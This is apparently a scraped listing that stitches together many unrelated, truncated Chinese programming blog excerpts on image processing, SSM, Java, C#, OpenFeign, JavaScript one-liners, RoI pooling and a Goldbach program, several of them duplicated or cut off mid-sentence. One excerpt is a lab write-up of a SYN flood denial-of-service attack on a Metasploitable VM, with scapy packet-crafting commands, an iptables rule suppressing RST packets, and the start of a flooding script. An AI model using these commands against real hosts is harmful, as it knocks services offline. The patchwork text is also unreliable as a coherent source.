图像处理学习-1 入门知识

图像处理入门学习–1.基础知识点 随着人工智能的不断发展,图像处理这门技术也越来越重要,很多人都开启了学习图像学习与机器学习,本文就介绍了图像处理的基础内容。 一、图像处理是什么? 用计算机对图像进行去除噪声、增强、复原、分割、特征提取、识别、等处理的理论、方法和技术。狭义的图像处理主要是对图像进行各种加工,以改变图像的视觉效果并为自动识别奠定基础,或对图像进行压缩编码以减少所需存储空间。 图像处理用途: 二、图像识别步骤 三、图像知识点 1 像素点 最小的图像单元,一张图像由好多像素点组成 尺寸: 500 * 338 表示:由500 * 338个像素点矩阵组成 共有500 * 338=149000个像素点 2 像素 把鼠标放在一个图片上,这个时候会显示尺寸和大小,这里的尺寸是像素 3 RGB 一个像素点的颜色是由R、G、B 三个值来表现出来的 所以像素点矩阵对应三个颜色向量矩阵,分别是R矩阵,G矩阵,B矩阵。 4 灰度 表明图像明暗的数值 ,即黑白图像中的点的颜色深度范围从0~255 白色为255,黑色为0. 故黑白图像也称为灰度图像,灰度值指的是单个像素亮点,灰度值越大表示越亮。 5 图像灰度化 灰度就是没有色彩,RGB色彩分量全部相等,图像灰度化让像素点矩阵中每一个像素点满足R=G=B。 总结 学习图像处理,首先要对图像的一些概念有所理解,再进一步去学习。

SSM山东医院-1-登录(对象条件查询)-未加密版本

文章目录 前言山东医院笔记1.实现登录login.hmlUserMapper.xmlUserControllerUserService:接口UserServiceImpl:实现UserMapper 总结 前言 山东医院笔记 1.实现登录 login.hml 1.由ajax发送请求的url和数据data给UserController url:/login data:{ uLoginname:uLoginname, uPassword:uPassword } UserMapper.xml 需要查询到的是对象,所以SQL语句的书写形式不太正常,通过对象携带所有根据条件查询到的所有数据 <!--添加的 要查询的是对象--> <select id="selectUser" parameterType="com.yhp.bean.User" resultMap="BaseResultMap"> select <include refid="Base_Column_List"/> from user where u_loginName=#{uLoginname} and u_passWord=#{uPassword} </select> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.yhp.dao.UserMapper"> <resultMap id="BaseResultMap" type="com.yhp.bean.User"> <id column="u_id" jdbcType="INTEGER" property="uId" /> <result column="u_loginName" jdbcType="VARCHAR" property="uLoginname" /> <result column="u_passWord" jdbcType="VARCHAR" property="uPassword" /> <result column="u_trueName" jdbcType="VARCHAR" property="uTruename" /> <result column="u_email" jdbcType="VARCHAR" property="

论文阅读笔记 | 分类网络——ParNet

如有错误,恳请指出。 文章目录 1. Introduction2. Related Work2.1 Analyzing importance of depth2.2 Scaling DNNs 3. ParNet Method3.1 ParNet Block3.2 Downsampling and fusion block3.3 Network Architecture3.4 Scaling ParNet3.5 Practical Advantages or Parallel Architecures 4. Result paper:NON-DEEP NETWORKS code:https://github.com/imankgoyal/NonDeepNetworks 摘要: 深度是深度神经网络的标志,但深度越大意味着顺序计算越多延迟也越大。这就引出了一个问题——是否有可能构建高性能的“非深度”神经网络?为了做到这一点,我们使用并行子网,而不是一层接着一层堆叠,且成功实现。 作者实现了一个12层的网络结构实现了top-1 accuracy over 80%on ImageNet的效果。分析网络设计的伸缩规则,并展示如何在不改变网络深度的情况下提高性能。 1. Introduction 人们普遍认为,大深度是高性能网络的重要组成部分,因为深度增加了网络的表征能力,并有助于学习越来越抽象的特征。但是大深度总是必要的吗?这个问题值得一问,因为大深度并非没有缺点。更深层次的网络会导致更多的顺序处理和更高的延迟;它很难并行化,也不太适合需要快速响应的应用程序。 为此,作者进行了研究提出了ParNet (Parallel Networks),在一定程度上可以与SOTA进行比较,但是使用的层数只有12层。ParNet的一个关键设计选择是使用并行子网,不是按顺序排列层,而是在并行的子网络中排列层。 ParNet的子网结构中,除了开始和结束,子网之间没有连接。这使得可以在保持高精度的同时减少网络的深度,而且平行结构不同于通过增加一层神经元的数量来“扩大”一个网络。而由于具有并行的子结构,ParNet可以在多个处理器之间有效地并行化。 ParNet可以被有效的并行化,并且在速度和准确性上都优于resnet。注意,尽管处理单元之间的通信带来了额外的延迟,但还是实现了这一点。如果可以进一步减少通信延迟,类似parnet的体系结构可以用于创建非常快速的识别系统。 不仅如此,ParNet可以通过增加宽度、分辨率和分支数量来有效缩放,同时保持深度不变。作者观察到ParNet的性能并没有饱和,而是随着计算吞吐量的增加而增加。这表明,通过进一步增加计算,可以实现更高的性能,同时保持较小的深度(~ 10)和低延迟。 ParNet与一些backbone的比较: 作者的主要贡献: 1)首次证明,深度仅为12的神经网络可以在非常有竞争力的基准测试中取得高性能(ImageNet上80.7%) 2)展示了如何利用ParNet中的并行结构进行快速、低延迟的推断 3)研究了ParNet的缩放规则,并证明了恒定的低深度下的有效缩放 2. Related Work 2.1 Analyzing importance of depth 已有大量的研究证实了深层网络的优点,具有sigmoid激活的单层神经网络可以以任意小的误差近似任何函数,但是需要使用具有足够大宽度的网络。而要近似函数,具有非线性的深度网络需要的参数要比浅层网络所需要的参数少,而且在固定的预算参数下,深度网络的性能优于浅层网络,这通常被认为是大深度的主要优势之一。 但是在这样的分析中,先前的工作只研究了线性顺序结构的浅层网络,不清楚这个结论是否仍然适用于其他设计。在这项工作中,作者表明浅层网络也可以表现得非常好,但关键是要有并行的子结构。 2.2 Scaling DNNs 增加深度、宽度和分辨率可以有效地缩放卷积网络。而在在保持深度不变和较低的情况下,可以通过增加分支数量、宽度和分辨率来有效地扩展ParNet。

安卓+JAVA实例开发源码

安卓Android源码——NetPayClinet2.5forjava 安卓Android源码——安卓Android调用JavaScript 安卓Android源码——安卓Android源码安卓与PC的Socket通信项目C70版+Java版 安卓Android源码——安卓Android源码安卓与PC的Socket通信项目C70版+Java版 安卓Android源码——安卓Android源码安卓与PC的Socket通信项目java版 安卓Android源码——安卓Android源码安卓与PC的Socket通信项目java版 安卓Android源码——android 使用javacv进行录像[模仿vine] 安卓Android源码——android 使用javacv进行录像[模仿vine] 安卓Android源码——安卓Android源码安卓与PC的Socket通信项目C70版+Java版 安卓Android源码——安卓Android源码安卓与PC的Socket通信项目C70版+Java版 安卓Android源码——安卓Android调用JavaScript 安卓Android源码——安卓Android源码安卓与PC的Socket通信项目java版 安卓Android源码——安卓Android源码安卓与PC的Socket通信项目java版 安卓Android源码——android 使用javacv进行录像[模仿vine] 安卓Android源码——android 使用javacv进行录像[模仿vine] 安卓Andriod源码——NetPayClinet2.5forjava 安卓Andriod源码——NetPayClinet2.5forjava 安卓 android 源码 安卓Android源码——java调用C例子 安卓Android源码——java调用C例子 安卓 源码 android 安卓Android源码——MineSweeper由java实现 安卓Android源码——MineSweeper由java实现 安卓 源码 android 安卓Android源码——三国杀版连连看(使用html5的canvas特性,纯javascript开发) 安卓Android源码——三国杀版连连看(使用html5的canvas特性,纯javascript开发) 安卓 源码 android 字节跳动Java面试手册.pdf 字节跳动Java面试手册.pdf java 安卓Android源码——应用源码安卓与PC的Socket通信项目java版 安卓Android源码——应用源码安卓与PC的Socket通信项目java版 安卓 源码 android 安卓Android源码——应用源码安卓与PC的Socket通信项目C89版+Java版 安卓Android源码——应用源码安卓与PC的Socket通信项目C89版+Java版 安卓Android源码——使用javacv进行录像[模仿vine] 安卓Android源码——使用javacv进行录像[模仿vine] 安卓 源码 android 安卓Android源码——调用JavaScript 安卓Android源码——调用JavaScript 安卓 源码 android Android高级应用源码-android java 通用代码,关于用properties存储打印的Log Android高级应用源码-android java 通用代码,关于用properties存储打印的Log 安卓 源码 android 安卓Android源码——三国杀版连连看(使用html5的canvas特性,纯javascript开发) 安卓Android源码——三国杀版连连看(使用html5的canvas特性,纯javascript开发)

SPSS考试操作题试卷

数据描述:Cosmetic surgery(整形手术) In the USA, there was a 1600% increase in cosmetic surgical and non-surgical treatments between 1992 and 2002, and 65,000 people in the UK underwent privately and publicly funded operations in 2004 (Kellett, Clarke, & McGill, 2008). With the increasing popularity of this surgery, many people are starting to question the motives of those who want to go under the knife. There are two main reasons to have cosmetic surgery: (1) to help a physical problem, such as having breast reduction surgery to relieve back ache; and (2) to change your external appearance, for example by having a face-lift.

C#的文件写入

关于C#如何写入文件,我将在下总结4种方法。 1.每一次输入都会覆盖原文本 用到 WriteAllText() 代码如下: using System; class Program { static void Main(string[] args) { char[] c = { '3', '5', '7' }; for (int i = 0; i < 3; i++) { String s = c[i].ToString(); //将字符数组的内容写入文件111.txt中 System.IO.File.WriteAllText(@"C:\Users\地心\Desktop\111.txt", s); } Console.WriteLine("写入成功"); } } 查看写入文件内容如下: 如果文件不覆盖,那文件111.txt中的内容会是:357 ,而此时文本内容只有7,说明每一次文本输入都会覆盖原文件。所以用WriteAllText()会覆盖原文件。 2.每一次写入不会覆盖原文件,而是以追加的方式添加在文本末尾 用到 AppendAllText() 代码如下: using System; class Program { static void Main(string[] args) { char[] c = { '3', '5', '7' }; for (int i = 0; i < 3; i++) { String s = c[i].

Java笔记1——Java概述与基础

一、Java概述 1.JDK、JRE、JVM三者之间的关系,以及JDK、JRE包含的主要结构有哪些? JDK(Java开发工具) = JRE +Java的开发工具(包括javac.exe,java.exe,javadoc.exe) JRE(Java运行时环境)= JVM + Java核心类库 2.为什么要配置path环境变量?如何配置? path环境变量是windows操作系统执行命令时索要搜寻的路径。 通过配置path环境变量,我们可以使某个程序,比如javac.exe,在任意目录下都可以运行,而不用跑到javac存在的目录下进行dos命令。 【配置方法】 JAVA_HOME = bin的上一层目录 path = %JAVA_HOME%\bin 二、Java 基础 2.1 关键字和保留字 关键字(Keyword):被Java语言赋予了特殊的含义,被用做专门用途的字符串(都是小写)。比如class、interface、int等。保留字(reserved word):现有Java版本尚未使用,以后可能作为关键字使用。比如goto。 2.2 标识符(Identifier) 标识符:Java对各种变量、方法和类等要素命名时使用的字符序列成为标识符。(凡是自己可以起名字的地方都叫标识符) 定义合法标识符规则: 由26个英文字母大小写,0-9,_或$组成数字不可以开头不可以使用关键字和保留字区分大小写,长度不限制不能包含空格 Java中的名称命名规范: 包名:多单词组成时所有字母都小写:xxxyyyyzzz类名、接口名:多单词组成时,所有单词的首字母大写:XxxYyyZzz变量名、方法名:多单词组成时,第一个单词首字母小写,第二个单词开始每个单词首字母大写:xxxYyyZzz常量名:所有字母都大写,多单词组成时,用下划线链接:XXX_YYY_ZZZ 2.3 变量与数据类型 Java中每个变量必须先声明,后使用。如下格式 数据类型 变量名 = 变量值; 变量按照数据类型进行分类: 数 据 类 型 { 基 本 数 据 类 型 { 数 值 型 { 整 数 类 型 ( b y t e , s h o r t , i n t , l o n g ) 浮 点 类 型 ( f l o a t , d o u b l e ) 字 符 型 ( c h a r ) 布 尔 型 ( b o o l e a n ) 引 用 数 据 类 型 { 类 ( c l a s s ) 接 口 ( i n t e r f a c e ) 数 组 ( [ ] ) 数据类型\begin{cases}基本数据类型\begin{cases}数值型\begin{cases} 整数类型(byte,short,int,long)\\浮点类型(float,double)\end{cases} \\ 字符型(char) \\ 布尔型(boolean)\end{cases} \\ 引用数据类型 \begin{cases}类(class)\\ 接口(interface) \\ 数组([])\end{cases}\end{cases} 数据类型⎩⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎨⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎧​基本数据类型⎩⎪⎪⎪⎨⎪⎪⎪⎧​数值型{整数类型(byte,short,int,long)浮点类型(float,double)​字符型(char)布尔型(boolean)​引用数据类型⎩⎪⎨⎪⎧​类(class)接口(interface)数组([])​​

SpringCloud-OpenFeign使用及源码解析

一 .使用OpenFeign进行服务调用 我们创建一个订单服务和一个商品服务来模拟服务调用 创建订单服务order-service @SpringBootApplication public class OrderServer { public static void main(String[] args) { SpringApplication.run(OrderServer.class,args); } } pom文件 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.nxr</groupId> <artifactId>order-service</artifactId> <version>1.0-SNAPSHOT</version> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.2.6.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent> <properties> <java.version>1.8</java.version> <spring-cloud.version>Hoxton.SR5</spring-cloud.version> </properties> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-openfeign</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> </dependency> </dependencies> <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>${spring-cloud.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <build> <plugins> <plugin> <groupId>org.

20个js实用的一行代码

js实用代码 获取浏览器cookie的值将RGB转换为十六进制复制到剪贴板检查日期是否有效找出一年中的某一天将字符串首字母大写计算两天之间相差的天数清除所有Cookie生成随机十六进制数组去重从URL获取查询参数从日期获取“时分秒”格式的时间确认奇偶数求平均值回到顶部翻转字符串检查数组是否为空获取用户选定的文本打乱数组检测用户是否处于暗模式 获取浏览器cookie的值 const cookie=name=>`;${document.cookie}`.split(`;${name}=`).pop().split(';').shift(); cookie('_ga') 将RGB转换为十六进制 const rgbToHex=(r,g,b)=>"#"+((1<<24)+(r<<16)+(g<<8)+b).toString(16).slice(1); rgbToHex(0,51,255) 复制到剪贴板 const copyToClipboard=(text)=>navigator.clipboard.writeText(text); copyToClipboard("Hello World"); 检查日期是否有效 const isDateValid=(...val)=>!Number.isNaN(new Date(...val).valueOf()); isDateValid("December 17,1995 03:24:00"); 找出一年中的某一天 const dayOfYear=(date)=>Math.floor((date-new Date(date.getFullYear(),0,0))/1000/60/60/24); dayOfYear(new Date()); 将字符串首字母大写 const capitalize=str=>str.charAt(0).toUpperCase()+str.slice(1); capitalize("follow for more") 计算两天之间相差的天数 const dayDif=(date1,date2)=>Math.ceil(Math.abs(date1.getTime()-date2.getTime())/86400000); dayDif(new Date("2020-10-21"),new Date("2021-10-21")) 清除所有Cookie const clearCookies=document.cookie.split(';').forEach(cookie=>document.cookie=cookie.replace(/^+/,'').replace(/=.*/,`=;expires=${new Date(0).toUTString()};path=/`)) 生成随机十六进制 const randomHex=()=>`#${Math.floor(Math.random()*0xffffff).toString(16).padEnd(6,"0")}` 数组去重 const removeDuplicates=(arr)=>[...new Set(arr)]; console.log(removeDuplicates([1,2,3,3,4,4,5,56])); 从URL获取查询参数 const getParameters=(URL)=>{ URL=JSON.parse('{"'+decodeURI(URL.split("?")[1]).replace(/"/g,'\\"').replace(/&/g,'","').replace(/=/g,'":"')+'"}') return JSON.stringify(URL) } getParameters(window.location) //更简单的方法: Object.fromEntries(new URLSearchParams(window.location.search)) 从日期获取“时分秒”格式的时间 const timeFromDate=date=>date.toTimeString().slice(0,8); console.log(timeFromDate(new Date(2021,0,10,17,30,0))); 确认奇偶数 const isEven=num=>num%2===0; console.

基于SSM写的一个简易博客(练手小项目)

前端使用了Bootstrap和jquery组件编写,后端是集成了Spring+SpringMVC+MyBatis的SSM框架,实现了基本登录注册功能,博客的增删改查和模糊查询功能的功能,还有用户个人信息添加修改等功能。 下面是一些页面展示图 1.博客首页 2.登录页面 3.注册的页面 4.个人主页 5.新增博客页面 6.模糊查询页面 7.简介页面 8.更改博客页面 9.查看博客页面 下面是一些代码图 1.Controller层 2.Service层 3.Dao层和Mapper文件 4.项目的结构和实体类 配置文件代码 spring-service <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <!-- 扫描service相关的bean --> <context:component-scan base-package="com.qjj.ssm.service" /> <!--UserServiceImpl注入到IOC容器中--> <bean id="userService" class="com.qjj.ssm.service.UserServiceImpl"> <property name="userDao" ref="userDao"/> </bean> <!--UserServiceImpl注入到IOC容器中--> <bean id="blogService" class="com.qjj.ssm.service.BlogServiceImpl"> <property name="blogDao" ref="blogDao"/> </bean> <!-- 配置事务管理器 --> <bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"> <!-- 注入数据库连接池 --> <property name="dataSource" ref="dataSource" /> </bean> </beans> spring-mvc <?xml version="1.0" encoding="

fast_rcnn中的RoI pooling layer的理解

在rcnn中,是在原图上将region proposals 提取,然后再依次送进CNN中做卷积,但是由于proposals之间像素是重叠的,因此就多了很多卷积运算,因此,在fast_rcnn,先将原图送到CNN中进行卷积,得到一个feature map图,然后将原图上的region proposals映射到feature map,但是映射之后的region proposals大小尺寸不一样,我们在feature map上提取之后,得到的向量长度不一样,没有办法做后续的卷积或是全连接,因此需要ROI pooling,将大小不一样的region proposals 池化为大小一样的,即HXW。 下图是roi pooling 层的作用: 下图是roi pooling 层的做法: feature map中选取channel 0,然后将region proposals映射到feature map 上,例如映射之后的是8x8,那么在channel 0上的pooling 是这样的,将8x8分成WXH个子块,这里是2x2,那么每个子块就是4x4,在这4x4中只取最大值来替代这个子块,这样就得到了WXH的大小,这里是2x2;feature map的每个channle 都按照下面的方式进行roi pooling ,这样每个region proposals就得到了pooling 过的feature map。

SSM-6-项目5

文章目录 前言项目5-练习项目0.mysql5.7.351.需求分析2.数据库创建添加初始数据3.环境搭建pom.xmlresources/spring.xmlmybatis.xmlgeneratorConfig.xmlresources/mapper/BillsMapper.xmlresources/mapper/BilltypeMapper.xml com.yhp.bean-BillsBilltype com.yhp.dao-BillsMapperBilltypeMapper 4.查询数据1web.xmlindex.jspcontroller/BillsControllershow.jspservice/BillsServiceservice/BillTypesServiceservice/impl/BillsServiceImplservice/impl/BillTypeServiceImpldao/BilltypeMapperdao/BillsMapper 逐层调用controller/BillsControllerservice/impl/BillTypesServiceImplservice/impl/BillsServiceImplBillsMapper.xmlBillTypesMapper.xmlBillsControllershow.jsp 5.查询数据2类别问题BillsMapper.xmlshow.jsp 6.查询数据3金额问题show.jsp 7.查询数据4模糊查询问题show.jspcontroller/BillsControllerservice/BillsServiceservice/impl/BillsServiceImpldao/BillsMapperBillsMapper.xmlcontroller/BillsController 数据回显问题controller/BillsControllershow.jsp 类型问题controller/BillsController 不存在的问题show.jsp 8.查询数据5分页问题show.jspservice/BillsServiceservice/impl/BillsServiceImplcontroller/BillsControllershow.jsputil/PageUtil分页插件pom.xmlmybatis.xmlcontroller/BillsControllershow.jsp 类型,翻页出现问题show.jsp 9.新增数据记账功能show.jspcontroller/BillsControlleradd.jspdao/BillsMapperservice/BillsServiceservice/impl/BillsServiceImplBillsMapper.xmlspring.xml 10.更新数据show.jspcontroller/BillsControllerdao/BillsMapperservice/BillsServiceservice/impl/BillsServiceImplupdate.jsp保存controller/BillsControllerdao/BillsMapperBillsMapper.xmlservice/BillsServiceservice/impl/BillsServiceImplupdate.jsp 11.删除数据show.jspcontroller/BillsControllerdao/BillsMapperservice/BillsServiceservice/impl/BillsServiceImpl 总结 前言 项目5-练习项目 0.mysql5.7.35 https://dev.mysql.com/downloads/windows/installer/5.7.html (mysql-installer-community-5.7.35.0.msi) 1.需求分析 1.记账管理 2.数据库创建 表名:bills 中文表名称:账单信息表 主键:id 序号 字段名称 字段说明 类型 长度 属性 备注 1 id 账单id number 10 主键 使用序号赋值 2 title 账单标题 varchar2 50 非空 3 bill_time 记账时间 date 非空 4 type_id 账单类别 varchar2 10 非空 引用bill_type表的 主键 5 price 账单金额 number 10,2 非空 explain 账单说明 varchar2 500 表名:bill_type 中文表名称:账单类型表 主键:id 序号 字段名称 字段说明 类型 长度 属性 备注 1 id 类型id number 10 主键 使用序列赋值 2 name 类型名称 varchar2 50 非空 功能补充;

探索java的 protect/private变量

package myPack; /* * Author:LiuXueYi * Date:2021-10-18 14:29 * Description:测试 protect、private变量的权限范围 */ public class BaseClass { public String myPublic = "aaaaaaaa" ; private String basePrivate = "bbbb"; protected String baseProtected = "ccccc"; public void myPrint(){ System.out.println("-------类的成员函数可以访问同类的所有成员---------"); System.out.println("myPublic = " + myPublic); System.out.println("basePrivate = " + basePrivate); System.out.println("baseProtected = " + baseProtected); } public static void main(String[] args){ BaseClass baseClass = new BaseClass(); baseClass.myPrint(); System.out.println("-------类中的main函数可以访问同类的所有成员"); System.out.println("myPublic = " + baseClass.myPublic); System.

题目51 字符串中包含的最长的非严格递增连续数字序列长度(ok)

输入一个字符串仅包含大小写字母和数字 求字符串中包含的最长的非严格递增连续数字序列长度 比如: 12234属于非严格递增数字序列 示例: 输入 abc2234019A334bc 输出 4 说明: 2234为最长的非严格递增连续数字序列,所以长度为4 aaaaaa44ko543j123j7345677781 aaaaa34567778a44ko543j123j71 345678a44ko543j123j7134567778aa #include <stdio.h> #include <string.h> #include <stdlib.h> #include <math.h> #define MAX_LEN 1000 int IsSame(char *s, int begin, int end) { for (int i = begin; i < end; i++) { if (s[i] != s[i + 1]) { return -1; } } return 1; } int GetMaxLen(char *s) { int len = strlen(s); int i, count = 1, max = 0, begin = 0; char tmp[64] = {0}; for (i = 0; i < len - 1; i++) { if ((s[i] + 1 == s[i + 1]) || (s[i] == s[i + 1])) { count++; } else { if (IsSame(s, begin, i) == 1) { count = 1; } if (max < count) { max = count; } begin = i + 1; count = 1; } } if (max < count) { max = count; } printf("

几种编辑器的区别

1、HBuilder 简介:HBuilder是专为前端开发打造的开发工具,具有飞一样的编码、最全的语法库和浏览器兼容数据、可以方便的制作手机APP、最保护眼睛的绿柔设计等特点。支持HTML、CSS、JS、PHP的快速开发。从开放注册以来深受广大前端朋友们的喜爱。 优点: 因为是一款国产软件,所以中文界面更容易迅速上手。HBuilder拥有完善的帮助文档,诸如快捷键列表什么的,都能快速调出查询; 编码速度飞快。它拥有完整的语法提示和代码输入法、代码块等,以及浏览器兼容性提示,大幅提升HTML、js、css的开发效率。内嵌了emmet、jquery、bootstrap、angular、mui等常用框架的语法提示库。支持less,sass等预编译器。通过快捷键(alt+点击)方便查找到js方法名、ID、CSS类名和链接的出处(定义),支持跨文件查找。HBuilder JSDoc+规范。编写JSDoc有助于代码可读性的提升,还可生成API手册(主要是框架); 强大的边看边写功能。按下Ctrl P进入边看边改视图,左边保存右边立即刷新。支持模拟手机端,方便进行UI调试。科学护眼。绿柔主题的特点是柔和、低对比度、强光可见、绿色感加强。对着这样的界面写一天代码,感受要比对着太亮或太暗的界面舒服很多。 缺点: 功能比文本编辑器多,执行也自然会相对慢。编辑器滚动条的滑动有卡顿卡,略显淡疼; 比较吃内存。HBuilder还自带了可调试控制台的浏览器,ide+浏览器都在这里,内存占用肯定也少不了。资源消耗更多,但HBuilder可保证主流配置电脑流畅使用。 2、WebStorm 简介:WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。 优点: 容易学习,新手也可以快速上手。不用讲什么插件安装,搞什么配置,直接上手才是王道; 内置功能强大。做为一款真正意义上的前端开发ide,它所集成的功能非常丰富,基本无须安装插件。代码定位能力。只需鼠标一点, 就能能轻松定位到变量/属性/方法的定义处,开发非常有用; 代码和文件关联能力。无论是修改文件名还是变量名(或者删除),ws都会将变动同步到它们被使用到的地方,并且会弹出友好的警告提示。自带git版本控,语法提示,nodeJS调试等功能,命令行功能,支持各种代码检测功能,支持各种代码模板 强大的文件临听能力。轻松实现less、sass、coffescript自动编译等。内置服务器功能。不用配置烦杂的后台环境,就可以简单测试一些需要服务器配合的页面。本地版本控制。在 WS 里所有的编辑都被存在本地,随时可以还原到历史版本(关键时候能救命)。 缺点: 吃内存。如果项目或文件比较大的话,ws运行时间一长就可能出现各种状况,卡顿甚至卡死也可能发生,但概率并不算高。如果用ws打开多个项目的话,内存占用会大幅上升。尽管如此,也从来没有造成过什么损失,最多只是重启一下。 写文章 登录 前端开发常用的编辑器有哪些?它们的优点是什么? web的前端 前端开发常用的编辑器有哪些?工欲善其事必先利其器,每个前端工程师在做前端开发的时候,一定有几款自己用着顺手的编辑器。而一款好用且适合自己的前端开发编辑器,往往会达到事倍功半的效果。以下是小编为大家推荐的几款编辑器,它们分别是HBuilder、WebStorm、Sublime Text、Visual Studio Code和wampServer。 1、HBuilder 简介:HBuilder是专为前端开发打造的开发工具,具有飞一样的编码、最全的语法库和浏览器兼容数据、可以方便的制作手机APP、最保护眼睛的绿柔设计等特点。支持HTML、CSS、JS、PHP的快速开发。从开放注册以来深受广大前端朋友们的喜爱。 优点: 因为是一款国产软件,所以中文界面更容易迅速上手。HBuilder拥有完善的帮助文档,诸如快捷键列表什么的,都能快速调出查询; 编码速度飞快。它拥有完整的语法提示和代码输入法、代码块等,以及浏览器兼容性提示,大幅提升HTML、js、css的开发效率。内嵌了emmet、jquery、bootstrap、angular、mui等常用框架的语法提示库。支持less,sass等预编译器。通过快捷键(alt+点击)方便查找到js方法名、ID、CSS类名和链接的出处(定义),支持跨文件查找。HBuilder JSDoc+规范。编写JSDoc有助于代码可读性的提升,还可生成API手册(主要是框架); 强大的边看边写功能。按下Ctrl P进入边看边改视图,左边保存右边立即刷新。支持模拟手机端,方便进行UI调试。科学护眼。绿柔主题的特点是柔和、低对比度、强光可见、绿色感加强。对着这样的界面写一天代码,感受要比对着太亮或太暗的界面舒服很多。 缺点: 功能比文本编辑器多,执行也自然会相对慢。编辑器滚动条的滑动有卡顿卡,略显淡疼; 比较吃内存。HBuilder还自带了可调试控制台的浏览器,ide+浏览器都在这里,内存占用肯定也少不了。资源消耗更多,但HBuilder可保证主流配置电脑流畅使用。 2、WebStorm 简介:WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。 优点: 容易学习,新手也可以快速上手。不用讲什么插件安装,搞什么配置,直接上手才是王道; 内置功能强大。做为一款真正意义上的前端开发ide,它所集成的功能非常丰富,基本无须安装插件。代码定位能力。只需鼠标一点, 就能能轻松定位到变量/属性/方法的定义处,开发非常有用; 代码和文件关联能力。无论是修改文件名还是变量名(或者删除),ws都会将变动同步到它们被使用到的地方,并且会弹出友好的警告提示。自带git版本控,语法提示,nodeJS调试等功能,命令行功能,支持各种代码检测功能,支持各种代码模板 强大的文件临听能力。轻松实现less、sass、coffescript自动编译等。内置服务器功能。不用配置烦杂的后台环境,就可以简单测试一些需要服务器配合的页面。本地版本控制。在 WS 里所有的编辑都被存在本地,随时可以还原到历史版本(关键时候能救命)。 缺点: 吃内存。如果项目或文件比较大的话,ws运行时间一长就可能出现各种状况,卡顿甚至卡死也可能发生,但概率并不算高。如果用ws打开多个项目的话,内存占用会大幅上升。尽管如此,也从来没有造成过什么损失,最多只是重启一下。 3、Sublime Text 简介:它是一套跨平台的文本编辑器,支持基于Python的插件,开发者是Jon Skinner。虽然Sublime诞生得早,但是至今仍有众多的使用者。而且当前端开发需要在N个项目间频繁切换时,Sublime Text就会派上大用场。

2021-10-17 DDos攻击

一、实验题目: DDos攻击 二、实验内容: 对 Metasploitable 靶机进行 Dos 攻击 三、环境准备: (1)kali虚拟机(python版本为3.6及以上) (2)Metasploitable靶机 四、实验步骤: (1)查看Metasploitable靶机IP: (2)在SYN FLOOD攻击发起之前,需要正常访问服务器上的web服务: (3)打开wireshark对靶机进行抓包: (4)在攻击开始之前,首先要发送阻断第三次客户端想服务端发的ack数据包,确保数据包正确: 命令: scapy i = IP() i.dst = "192.168.32.129" t = TCP() t.dport = 80 sr1(i/t,verbose=1,timeout=2) 执行命令后观察抓包情况: 可以看到目标服务器成功给我们返回SYN+ACK数据包,但是第三个数据包确实RST数据包而不是ACK数据包。原因:一开始的SYN数据包是我们使用scapy发出的,并不是操作系统自己主动发出的,所以当操作系统收到一个SYN+ACK数据包时,它会认为这个连接不是我发出的,就会主动拒绝连接,并返回RST数据包。 (5)使用Linux下的iptables命令禁止系统自动给目标发送RST数据包,从而达到建立半开连接的效果: 命令: iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.32.129 -j DROP (6)创建SYN FLOOP攻击脚本: (7)编辑脚本并保存: 代码如下: #!/usr/bin/python #coding:utf-8 from scapy.all import * from time import sleep import _thread import random def syn_flood(target,port): while 1:

C语言用程序实验哥德巴赫猜想

哥德巴赫猜想 任意一个大于6的偶数可以表示为两个素数之和 思路 从1开始循环到这个数n的 n/2,用isPrime()函数判断是否为素数,如果isPrime( i )并且isPrime( n-i ),那么这个数n就表示为 i 和 n-i 的和 实现 #include<iostream> #include<stdio.h> //哥德巴赫猜像任何一个大于6的偶数可以表示为两个素数之和 //判断是否是素数 int isPrime(int n) { if(n<=1) return 0; if(n==2) return 1; for(int i=2;i<=n/2;i++) { if(n%i==0) return 0; } return 1; } int main() { int num; scanf("%d",&num); for(int i=1;i<=num/2;i++) { if(isPrime(i)&&isPrime(num-i)) printf("%d=%d+%d\n",num,i,num-i); } }

Python爬虫爬取数据

